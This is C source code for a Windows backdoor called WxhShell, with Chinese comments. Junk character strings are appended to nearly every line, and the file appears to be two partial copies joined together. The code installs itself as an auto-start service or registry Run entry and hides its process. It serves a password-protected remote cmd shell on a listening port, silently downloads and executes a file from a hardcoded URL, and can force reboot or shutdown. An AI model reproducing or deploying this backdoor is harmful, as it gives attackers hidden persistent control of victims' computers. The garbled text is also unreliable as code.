    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vJV/3-yX  
    if(Boot(SHUTDOWN)) & d$X:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vbZ!NO!H  
    else { S2nX{=  
    closesocket(wsh); <iGW~COd  
    ExitThread(0); jp^Sw|  
    } ^Xu4N"@  
    break; ;Zr7NKs  
    } (Nv -wU  
  // 获取shell )?c,&  
  case 's': {  X>P|-n#  
    CmdShell(wsh); ^5( d^N  
    closesocket(wsh); {t!7r_hj  
    ExitThread(0); %/5Wj_|p  
    break; _mwt{D2r}  
  } M CP GDr  
  // 退出 y\Utm$)j  
  case 'x': { XD't)B(q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1xkrh qq  
    CloseIt(wsh); ZmNNR 1%/  
    break; W8;!rFW  
    } B;W%P.<.  
  // 离开 Jyr V2Tk^  
  case 'q': { .`V$j.a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  5sN6&'[  
    closesocket(wsh); o P;6i  
    WSACleanup(); &g1\0t  
    exit(1); c"pOi&  
    break; Mw)6,O`  
        } cUdS{K&K  
  } J_m@YkK  
  } dM P'Vnfj  
GG +T-  
  // 提示信息 !6@'H4cb=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -5ZmIlL.S  
} BMuEfa^  
  } Jmi,;Af'/  
sowwXrECg@  
  return; qMA-#  
} *f`P7q*  
S6 a\KtVa  
// shell模块句柄 (Cfb8\~  
int CmdShell(SOCKET sock) QCE7VV1Rw  
{ PLMC<4$s  
STARTUPINFO si; Ki7t?4YE  
ZeroMemory(&si,sizeof(si)); ,sL%Ykr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U V*Ruy-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7 ]ysvSM  
PROCESS_INFORMATION ProcessInfo; KB(W'M_D\  
char cmdline[]="cmd"; C H 29kQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NY.* S6  
  return 0; ~(kqq#=s  
} nJ xO.wWE  
( N};.DB1Y  
// 自身启动模式 &>E gKL  
int StartFromService(void) d!YP{y P  
{ \IImxkE  
typedef struct v+W'0ymbnV  
{ N'R^gL  
  DWORD ExitStatus; +*?l">?|F  
  DWORD PebBaseAddress; 5g/,VMe  
  DWORD AffinityMask; f5FEHyj|  
  DWORD BasePriority; GZNN2 '  
  ULONG UniqueProcessId; s.Ai _D  
  ULONG InheritedFromUniqueProcessId; 6$'*MpYF4  
}   PROCESS_BASIC_INFORMATION; 5)eM0,:  
v$Hz)J.01  
PROCNTQSIP NtQueryInformationProcess; <r$h =hM  
g=Vu'p 3u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $Th)z}A}EA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (;%T]?<9#  
@z{SDM  
  HANDLE             hProcess; Qz#By V:  
  PROCESS_BASIC_INFORMATION pbi; J{Kw@_ypP  
b \ln XN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?4Rd4sIM$u  
  if(NULL == hInst ) return 0; =CZRX' +yN  
qqf*g=f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wCruj`$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zis,%XY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J:Qx5;b;  
#~"IlBk\  
  if (!NtQueryInformationProcess) return 0; ,_Bn{T=U  
X.k8w\~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V<jj'dZfW  
  if(!hProcess) return 0; J&,hC%]  
%oTBh*K'o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fe98 Y-e  
HbsNF~;  
  CloseHandle(hProcess); Opcszq5n  
TnK<Wba  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %HoD)OJe  
if(hProcess==NULL) return 0; hRu}P"  
$5)#L$!,]  
HMODULE hMod; 3?]81v/  
char procName[255]; C9sU^ ]#F  
unsigned long cbNeeded; WcNQF!f  
L'? aoRj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M-Efe_VRQc  
`cXLa=B)9  
  CloseHandle(hProcess); >RkaFcq  
t~/:St  
if(strstr(procName,"services")) return 1; // 以服务启动 9$ ;5J  
-oyA5Y x0  
  return 0; // 注册表启动 `?(J(H  
} &l1t5 !  
A%Ka)UU+n  
// 主模块 xw 43P.  
int StartWxhshell(LPSTR lpCmdLine) R P<M  
{ phjM(lmCo  
  SOCKET wsl; SYA~I-OYc  
BOOL val=TRUE; BoYY^ih  
  int port=0; v7wyQx+Q  
  struct sockaddr_in door; vjx'yh|  
8VMA~7^  
  if(wscfg.ws_autoins) Install(); \]]K{DO  
|xFA}  
port=atoi(lpCmdLine); WF~BCP$OR  
z}u`45W+  
if(port<=0) port=wscfg.ws_port; WX?nq'nr  
8^y=YUT  
  WSADATA data; K {v^Y,B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <m`CLVx8m  
/-[vC$B"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iIX%%r+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N{HAWB{  
  door.sin_family = AF_INET; i~]6 0M>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9d#?,:JG  
  door.sin_port = htons(port); Xpg -rxX  
.eD&UQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )LFbz#;Y  
closesocket(wsl); I!*P' {lh  
return 1; B]G2P`sN  
} "gM!/<~  
9S@x  
  if(listen(wsl,2) == INVALID_SOCKET) { #&Tm%CvB  
closesocket(wsl); /g{*px|  
return 1; y,x 2f%x  
} MLHCBRi  
  Wxhshell(wsl); 8p%0d`sX  
  WSACleanup(); SQ4^sk_!  
z:f&k}(  
return 0; L{%L*z9J  
FXJ0 G>F  
} l+"p$iZs  
5 _E8 RAG  
// 以NT服务方式启动 @u9L+*F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PljPhAce  
{ #RR;?`,L}  
DWORD   status = 0; t"GnmeH i  
  DWORD   specificError = 0xfffffff; `KA==;0  
=M;F&;\8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $5 mGYF]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3Jizv,?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yO)xN=o^\  
  serviceStatus.dwWin32ExitCode     = 0; }? / Blr  
  serviceStatus.dwServiceSpecificExitCode = 0; B1 }-   
  serviceStatus.dwCheckPoint       = 0; uK"  T~  
  serviceStatus.dwWaitHint       = 0; %akW43cE  
q x)\{By  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); erEB4q+ #O  
  if (hServiceStatusHandle==0) return; #U`AK9rP_g  
1*hEbO  
status = GetLastError(); 3oLF^^^g  
  if (status!=NO_ERROR) [E a{);  
{ V0,JTWc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g ,JfT^  
    serviceStatus.dwCheckPoint       = 0; D}y W:Pi'  
    serviceStatus.dwWaitHint       = 0; }jCO@v;  
    serviceStatus.dwWin32ExitCode     = status; i;^lh]u  
    serviceStatus.dwServiceSpecificExitCode = specificError; +=E\sEe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \KhcNr?ja=  
    return; Zo&i0%S\E  
  } i-v: %  
62R";# K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T4.wz 58  
  serviceStatus.dwCheckPoint       = 0; C;m"W5+  
  serviceStatus.dwWaitHint       = 0; H^n@9U;[K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  wkZwtq  
} ,gQl_Amvz  
$~FZJ@qa  
// 处理NT服务事件,比如:启动、停止 Hj{.{V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8*0QVFn$  
{ Bu=1-8@=qs  
switch(fdwControl) iuY,E  
{ xS1n,gTA  
case SERVICE_CONTROL_STOP: f5 bq)Pm&  
  serviceStatus.dwWin32ExitCode = 0; vmAnBY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n5d8^c!2  
  serviceStatus.dwCheckPoint   = 0; `YqtI/-w  
  serviceStatus.dwWaitHint     = 0; 6o#/[Tz  
  { c46-8z$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qa=Y?=Za  
  } PSq?8.  
  return; /";tkad^  
case SERVICE_CONTROL_PAUSE: p}!i_P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ASbI c"S6  
  break; DW7E ]o  
case SERVICE_CONTROL_CONTINUE: doL-G?8B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zu|NF uFI  
  break; 8C3oi&av/{  
case SERVICE_CONTROL_INTERROGATE: -yqgs>R(d  
  break; A3/[9}(U  
}; gDU!dT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @lj|  
} EX_j|/&tZ  
LMoZI0)x  
// 标准应用程序主函数 zr?s5RS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rlKR <4H  
{ Y ]()v  
[M[#f&=Z  
// 获取操作系统版本 jOfG}:>e\  
OsIsNt=GetOsVer(); 9DA |;|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P'8RaO&d  
A^z{n/DiL  
  // 从命令行安装 7/~=[#]*  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0`S{>G  
*MmH{!=  
  // 下载执行文件 5oG~Fc  
if(wscfg.ws_downexe) { nUj`#%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f1aZnl  
  WinExec(wscfg.ws_filenam,SW_HIDE); htbE Q NW  
} [+D]!&P  
"YI,  
if(!OsIsNt) { W_M#Gi/ AL  
// 如果时win9x,隐藏进程并且设置为注册表启动 X\;:aRDS  
HideProc(); l-%] f]>  
StartWxhshell(lpCmdLine); r gIWM"  
} 9 ~W]D!m,  
else +45SKu=  
  if(StartFromService()) _$AM=?P &  
  // 以服务方式启动 q{&c?l*2  
  StartServiceCtrlDispatcher(DispatchTable); oH=?1~ e  
else D-{*3?x  
  // 普通方式启动 gPCf+>X{  
  StartWxhshell(lpCmdLine); aC}\`.Kb  
j r) M],  
return 0; ^ELZ35=qZ  
} C,+  
5vLXMdN  
;'{7wr|9  
Zm0VaOT$I  
=========================================== 23r(4  
]#G s6CsT|  
nRBS&&V  
:^kAFLU  
5 I_ :7$8  
7k*  
" kZG=C6a  
KE,.Evyu=  
#include <stdio.h> /o4e n  
#include <string.h> !nl-}P,  
#include <windows.h> %@C8EFl%3  
#include <winsock2.h> Dc0=gq0  
#include <winsvc.h> !+3&%vQ)  
#include <urlmon.h> U3&GRY|##  
`\VtTS  
#pragma comment (lib, "Ws2_32.lib") mBwz.KEm<  
#pragma comment (lib, "urlmon.lib") 7<WUj K|  
By@65KmR"  
#define MAX_USER   100 // 最大客户端连接数 3=n6N TL  
#define BUF_SOCK   200 // sock buffer ;7s^slVzF  
#define KEY_BUFF   255 // 输入 buffer _{'[Uf/l  
+m./RlQ{  
#define REBOOT     0   // 重启 ;wMu  
#define SHUTDOWN   1   // 关机 ZS+m}.,whQ  
8i[TeW"  
#define DEF_PORT   5000 // 监听端口 Kuh3.1#o  
P0m9($JBD  
#define REG_LEN     16   // 注册表键长度 %WU=Vy4  
#define SVC_LEN     80   // NT服务名长度 zlEI_th:~  
A<|9</9z  
// 从dll定义API X8m-5(uW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \r:*`Z*y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GkU_01C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C0f%~UMwd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); me2vR#  
3T.V*&  
// wxhshell配置信息 4)e1K/PJ)  
struct WSCFG { PsUO8g'\  
  int ws_port;         // 监听端口 82,^Pu  
  char ws_passstr[REG_LEN]; // 口令 RTlC]`IGT  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9 RDs`>v  
  char ws_regname[REG_LEN]; // 注册表键名 8F>9CO:&N  
  char ws_svcname[REG_LEN]; // 服务名 ?{'_4n3O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T`@brL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X% 05[N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <J%Z?3@ T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kkq-x'gt^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J\+fkN<.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h^rG5Q  
@cIYS%iZ  
}; NB<8M!X/  
?<4pYEP  
// default Wxhshell configuration b * \ oQ  
struct WSCFG wscfg={DEF_PORT, Ry}4MEq]  
    "xuhuanlingzhe", 2fky z  
    1, 4RDY_HgF6  
    "Wxhshell", uT=r*p(v  
    "Wxhshell", S8AbLl9G@>  
            "WxhShell Service", AQ$)JPs  
    "Wrsky Windows CmdShell Service", ZgEV-.>P  
    "Please Input Your Password: ", bp'%UgA)1  
  1, 5rLx b  
  "http://www.wrsky.com/wxhshell.exe", fUf 1G{4  
  "Wxhshell.exe" %iNgHoH  
    }; F-ZTy"z  
90uXJyW;d  
// 消息定义模块 ! xM=7Q k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4J[zNB]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v`mB82s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q0"?TSY  
char *msg_ws_ext="\n\rExit."; >dK0&+A  
char *msg_ws_end="\n\rQuit."; @$kO7k0{g  
char *msg_ws_boot="\n\rReboot..."; \2+ngq)  
char *msg_ws_poff="\n\rShutdown..."; CRCy)AS,t  
char *msg_ws_down="\n\rSave to "; 07>m*1G  
iC hIW/H  
char *msg_ws_err="\n\rErr!"; wg[ +NWJ  
char *msg_ws_ok="\n\rOK!"; 0#Gm# =F  
"gNi}dB<]  
char ExeFile[MAX_PATH]; 1d+Kn Jy  
int nUser = 0; 9LPXhxNwB  
HANDLE handles[MAX_USER]; @BLB.=  
int OsIsNt; &iu]M=Y b  
4 ;_g9]  
SERVICE_STATUS       serviceStatus; }ACg#;>/+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H HX q_-V  
$hCS-9%&  
// 函数声明 #Ev}Gf+5Q  
int Install(void); \3ydNgl  
int Uninstall(void); aJv+BX_,  
int DownloadFile(char *sURL, SOCKET wsh); 0.+Eo.AX4M  
int Boot(int flag); r{?qvl!q  
void HideProc(void); 0;LF>+fJ  
int GetOsVer(void); XSof{:V  
int Wxhshell(SOCKET wsl); "uuM#@h  
void TalkWithClient(void *cs); U*{0,Ue'  
int CmdShell(SOCKET sock); W2-l_{  
int StartFromService(void); Pi1LOCq  
int StartWxhshell(LPSTR lpCmdLine); G)YmaHeI;[  
- s'W^(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pvl];w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eXsp0!v  
-}4CY\d6'  
// 数据结构和表定义 H[: lQ\  
SERVICE_TABLE_ENTRY DispatchTable[] = ,#BD/dF  
{ sK W~+ ]  
{wscfg.ws_svcname, NTServiceMain}, {9;-5@b  
{NULL, NULL} tkm@&e=e%  
}; E3p$^['vx  
whe%o  
// 自我安装 eK(k;$4\^Y  
int Install(void) c]1AM)xo  
{ tc.|mIvw  
  char svExeFile[MAX_PATH]; o_=4Ex "  
  HKEY key; jQ7;-9/~N  
  strcpy(svExeFile,ExeFile); e~*tQ4  
!/H `   
// 如果是win9x系统,修改注册表设为自启动 o1\N)%  
if(!OsIsNt) { 4sSw7`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _l] 0V g`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D]fgBW-  
  RegCloseKey(key); .nEMd/pX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ar~<l2,{r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Muq~p~m}  
  RegCloseKey(key); WU=EJY}#n  
  return 0; 2A|mXWG}~  
    } x(Uv>k~i}  
  } #k/T\PQ0s  
} d^54mfgI  
else { +68age;dM  
6qmV/DL  
// 如果是NT以上系统,安装为系统服务 ^GYVRD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %OHWGac"i  
if (schSCManager!=0) c1i[1x%  
{ ?z|Bf@TJ[+  
  SC_HANDLE schService = CreateService "x]7 et,  
  ( I m-M2n  
  schSCManager, <]z4;~/&  
  wscfg.ws_svcname, L Y4bn)Qf  
  wscfg.ws_svcdisp, $s ,g&7*-  
  SERVICE_ALL_ACCESS, si~zg\uY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ui"$A/  
  SERVICE_AUTO_START, _I EbRVpb  
  SERVICE_ERROR_NORMAL, ~x4]p|)</  
  svExeFile, @6|0H`kv  
  NULL, [oBRH]9cq  
  NULL, Ivcy=W=Jk  
  NULL, h5@7@w%  
  NULL, +>eX1WoTy  
  NULL LZG(T$dI  
  ); !s$1C=z5u  
  if (schService!=0) b^<7a&  
  { dtV*CX.D.7  
  CloseServiceHandle(schService); f6SXXkO+  
  CloseServiceHandle(schSCManager); %*<Wf4P"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !Q_Kil.9  
  strcat(svExeFile,wscfg.ws_svcname); RWu< dY#ym  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $L|+Z>x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .L^j:2(L  
  RegCloseKey(key); s!D?%  
  return 0; w(S&X"~  
    } `'r~3kP*NT  
  } 1x/R  
  CloseServiceHandle(schSCManager); p]~PyzG!  
} Hsov0  
} (6H 7?nv  
('uUf!h?\  
return 1; P! j*4t  
} ]C+P J:CC  
kuLur)^  
// 自我卸载 2YQBw,gG  
int Uninstall(void) 5i{J0/'Xu)  
{ sm[zE /2b  
  HKEY key; FncP,F$8   
<o|k'Y(-  
if(!OsIsNt) { "5$p=|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L`O7-'`  
  RegDeleteValue(key,wscfg.ws_regname); #/9Y}2G|]  
  RegCloseKey(key); ? YIe<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F3q<j$y  
  RegDeleteValue(key,wscfg.ws_regname); fpZHE=}r  
  RegCloseKey(key); A=ez,87  
  return 0; # ax% n  
  } (}T},ygQ  
} |V}tTx1  
} ?qHQ#0 @y]  
else { :KRNLhWb  
I_?R(V[9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dF! B5(  
if (schSCManager!=0) 41.xi9V2  
{ h?ijZHG $  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Je^ ;[^  
  if (schService!=0) is%ef  
  { wUg=j nY   
  if(DeleteService(schService)!=0) { c":2<:D&  
  CloseServiceHandle(schService); .W;cz8te  
  CloseServiceHandle(schSCManager); `x#}co  
  return 0; kDR5kDiS  
  } C[ KMaB  
  CloseServiceHandle(schService); &0ymAf5R  
  } ~EQ# %db  
  CloseServiceHandle(schSCManager); X$t!g`  
} \ ux {J  
} |Q%nnN  
4}0YLwgJ  
return 1; ,N_V(Cx5pt  
} wLfH/J  
% bdBg  
// 从指定url下载文件 _D+J3d(Pjk  
int DownloadFile(char *sURL, SOCKET wsh) DV({! [EP  
{ `4Z:qh+fJ  
  HRESULT hr; tk 5 p@l  
char seps[]= "/"; .k up[d(  
char *token; Y)GU{  
char *file; . Wd0}?}  
char myURL[MAX_PATH]; "ZNy*.G|[  
char myFILE[MAX_PATH]; J*%IvRg  
3F6A.Ny  
strcpy(myURL,sURL); d[H`Fe6h  
  token=strtok(myURL,seps); X$%W&:  
  while(token!=NULL) L&|^y8  
  { `6NcE-oJ  
    file=token; EuVA"~PA  
  token=strtok(NULL,seps); *|6vCR  
  } j39"iAn  
u?z,Vs"  
GetCurrentDirectory(MAX_PATH,myFILE); ?aB%h |VA  
strcat(myFILE, "\\"); ]_L;AD  
strcat(myFILE, file); Q!AGalP z  
  send(wsh,myFILE,strlen(myFILE),0); (v0Q.Q@ <  
send(wsh,"...",3,0); x>J(3I5_b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cnu])R  
  if(hr==S_OK) 7~N4~KAUS  
return 0; "r@G V5ED  
else Oq}7q!H  
return 1; vMJ_n=Vf  
AOqL&z  
} fCO<-L9k$  
5@W63!N  
// 系统电源模块 @6;ZP1  
int Boot(int flag) 79jnYjk  
{ 4^ 0CHy  
  HANDLE hToken; uaLjHR0  
  TOKEN_PRIVILEGES tkp; 8|!"CQJ|H  
(Dba!zSs  
  if(OsIsNt) { *u[@C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \z@ :OR,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8&1xb@Nc7  
    tkp.PrivilegeCount = 1; fQw=z$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3n_t^=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *iSE)[W  
if(flag==REBOOT) { ZxCXru1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O /&Qzt  
  return 0; 6>'>BamX  
} 90=gP  
else { 0OtUb:8LX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9S5C{~P4  
  return 0; O4^' H}*  
} qE6D"+1y7  
  } cNy*< Tv  
  else { W$gjcsv  
if(flag==REBOOT) { k/Q8:qA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1_@vxi~aW_  
  return 0; lvR>%I0`*  
} rF/<}ye/4M  
else { &mba{O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >5t]Zlb`  
  return 0; pT:6A[&  
} N=@8~{V.  
} m9ky?A,  
PoRP]Q*n  
return 1; 4`?WdCW8  
} 'SWK{t \4  
+a+DiD>./  
// win9x进程隐藏模块 v#5hK<9  
void HideProc(void) 8'Q&FW3"  
{ ji5Nq+S2  
Q_k'7Z\g$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z v 7}C  
  if ( hKernel != NULL ) ]-OF3+l4  
  { ?nM]eUAP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TH~"y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j:2*hF!E  
    FreeLibrary(hKernel); 6""i<oR  
  } 1[e%E#h  
}e>OmfxDBt  
return; ,Mn`kL<F  
} Ai`0Ud,M@  
hdbm8C3  
// 获取操作系统版本 [q|8.>sB  
int GetOsVer(void) <4"Bb_U  
{ LiEDTXRz  
  OSVERSIONINFO winfo; W;F=7[h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J2!)%mF$  
  GetVersionEx(&winfo); c <X( S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [3v&j_  
  return 1; OXV9D:bIa  
  else )jw!, "_4  
  return 0; ?oU5H  
} NV\{$*j(|J  
6MQyr2c  
// 客户端句柄模块 {YIVi:4q  
int Wxhshell(SOCKET wsl) j Oxnf%jl  
{ sQO>1bh  
  SOCKET wsh; yk2XfY  
  struct sockaddr_in client; K6nNrd}p:  
  DWORD myID; \IOF 9) F  
ql_,U8Jw  
  while(nUser<MAX_USER) ii ^Nxnc=  
{ <t,lq  
  int nSize=sizeof(client); wf~n>e^e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .h@bp1)l  
  if(wsh==INVALID_SOCKET) return 1; U;Yw\&R,  
x!fRT.,}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uAV-wc  
if(handles[nUser]==0) D!V*H?;U  
  closesocket(wsh); @:P:`Zk  
else ~mT([V  
  nUser++; p7,dl*'  
  } +GNXV-S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [XD3}'Aa  
*zv*T"&ZP  
  return 0; )24 1-b V  
} + $Lc'G+:  
Rab7Y,AA  
// 关闭 socket 6I\4Yv$N  
void CloseIt(SOCKET wsh) zoau5t  
{ !Ic~_7"  
closesocket(wsh); 3Zm;:v4y  
nUser--; 88zK)k{  
ExitThread(0); E>YE3-]  
} rKr\Qy+q  
O?Qi  
// 客户端请求句柄 S|_"~Nd=  
void TalkWithClient(void *cs) 5Qxm\?0J  
{ Ots]y  
S\6.vw!'  
  SOCKET wsh=(SOCKET)cs; 8q|T`ac+N  
  char pwd[SVC_LEN]; +VO(6Jn  
  char cmd[KEY_BUFF]; %}Z1KiRiX  
char chr[1]; |N5|B Q(y$  
int i,j; 7"Q;Yi2(  
b5l;bXp]  
  while (nUser < MAX_USER) { >8gb/?z  
Q\z9\mMG-  
if(wscfg.ws_passstr) { Mu$"fYKf"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <a& $D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hJ~=eYK?J  
  //ZeroMemory(pwd,KEY_BUFF); IGI$,C  
      i=0; =gO4B-[  
  while(i<SVC_LEN) { 1*OZu.NdK  
A7aW]  
  // 设置超时 -\8v{ry  
  fd_set FdRead; !InC8+be  
  struct timeval TimeOut; 77%I%<#  
  FD_ZERO(&FdRead); %"AB\lL.  
  FD_SET(wsh,&FdRead); :Gf  
  TimeOut.tv_sec=8; Uq(fk9`6  
  TimeOut.tv_usec=0; TL: 6Pe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R(GL{Dh}L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +3r4GEa Z  
\C"hL(4-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BB? 4>#D  
  pwd=chr[0]; Pq3|O Z  
  if(chr[0]==0xd || chr[0]==0xa) { evz@c)8  
  pwd=0; *NoixV1>  
  break; w*gG1BV  
  } XK/bE35%^!  
  i++; d08:lYQ  
    } Url8&.pw  
*^p^tK  
  // 如果是非法用户,关闭 socket d{(NeTs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A_I\6&b4  
} q'`LwAU}  
2:;;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "?s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "IRF^1 p  
T0%l$#6v  
while(1) { Mo[yRRS#  
/>V& OX `  
  ZeroMemory(cmd,KEY_BUFF); |) CfO4  
A0H6}53, $  
      // 自动支持客户端 telnet标准   QJU\YH%}  
  j=0; A%.ZesjAx  
  while(j<KEY_BUFF) { >]ZW.?1h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uQz!of%x  
  cmd[j]=chr[0]; 9QEK|x`8  
  if(chr[0]==0xa || chr[0]==0xd) { ;~(yv|f6  
  cmd[j]=0; ]eo%eaA   
  break; HEe_K!_  
  } }KR"0G[f  
  j++; Z^#u n  
    } uMK8V_p*?  
75H;6(7  
  // 下载文件 qR9!DQc'  
  if(strstr(cmd,"http://")) { uevhW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Xt$Y&Ho  
  if(DownloadFile(cmd,wsh)) \?"kT}..  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *fQn!2}=(  
  else :rEZR`  
